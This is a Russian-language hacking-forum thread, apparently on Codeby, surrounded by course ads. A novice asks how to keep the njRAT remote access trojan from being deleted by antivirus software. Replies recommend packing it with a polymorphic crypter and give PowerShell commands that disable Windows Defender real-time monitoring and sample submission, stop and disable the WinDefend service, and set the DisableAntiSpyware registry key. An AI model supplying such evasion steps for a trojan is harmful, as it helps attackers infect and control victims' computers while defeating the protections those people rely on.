• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 🚨 29 мая стартует курс «Пентест Active Directory: от теории к практике» от Академии Кодебай

    🔍 Изучите реальные техники атак на инфраструктуру Active Directory: от первоначального доступа до полной компрометации.
    🛠️ Освойте инструменты, такие как BloodHound, Mimikatz, CrackMapExec и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальные сценарии атак.
    🧠 Получите знания, которые помогут вам стать востребованным специалистом в области информационной безопасности.

    После старта курса запись открыта еще 10 дней Подробнее о курсе ...

  • Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

Njrat и как его защитить

qwerty120

New member
02.01.2025
3
0
Привет, помогите с защитой njrat от удаления антивирусом, много лазил по форумам, но так и не нашел как отключить дефендер или любой другой антивирус
Я сам ламер в коде не шарю совершенно, но очень буду признателен если поможете его добавить в njrat!
 
Привет, помогите с защитой njrat от удаления антивирусом, много лазил по форумам, но так и не нашел как отключить дефендер или любой другой антивирус
Я сам ламер в коде не шарю совершенно, но очень буду признателен если поможете его добавить в njrat!
кхм, не скромный вопрос - зачем тогда ламеру rat?

Ты просто так никак не сможешь отключить любой анитивирус, у каждого антивируса свои механизмы самозащиты.
Что тебе может помочь, это крипт rat, полиморфным криптором. Ну и то это только от антивирусов спрячешь. А есть еще поведенческий анализ, файрволл , HIPS...
Это нарушение УК РФ. Не знаю как администрация форума относится обсуждении т.п. вопросам, я просто в ОБРАЗОВАТЕЛЬНЫХ целях подсказал направление (если администрация будет считать нужным, пусть удалит)
 
кхм, не скромный вопрос - зачем тогда ламеру rat?

Ты просто так никак не сможешь отключить любой анитивирус, у каждого антивируса свои механизмы самозащиты.
Что тебе может помочь, это крипт rat, полиморфным криптором. Ну и то это только от антивирусов спрячешь. А есть еще поведенческий анализ, файрволл , HIPS...
Это нарушение УК РФ. Не знаю как администрация форума относится обсуждении т.п. вопросам, я просто в ОБРАЗОВАТЕЛЬНЫХ целях подсказал направление (если администрация будет считать нужным, пусть удалит)
 
Дефендер отключается так

C#:
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
 
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Или
Stop-Service -Name WinDefend -Force

И тоже полезно остановка автозапуска
Set-Service -Name WinDefend -StartupType Disabled

Отключить реестр
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name "DisableAntiSpyware" -Value 1 -Type DWord
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD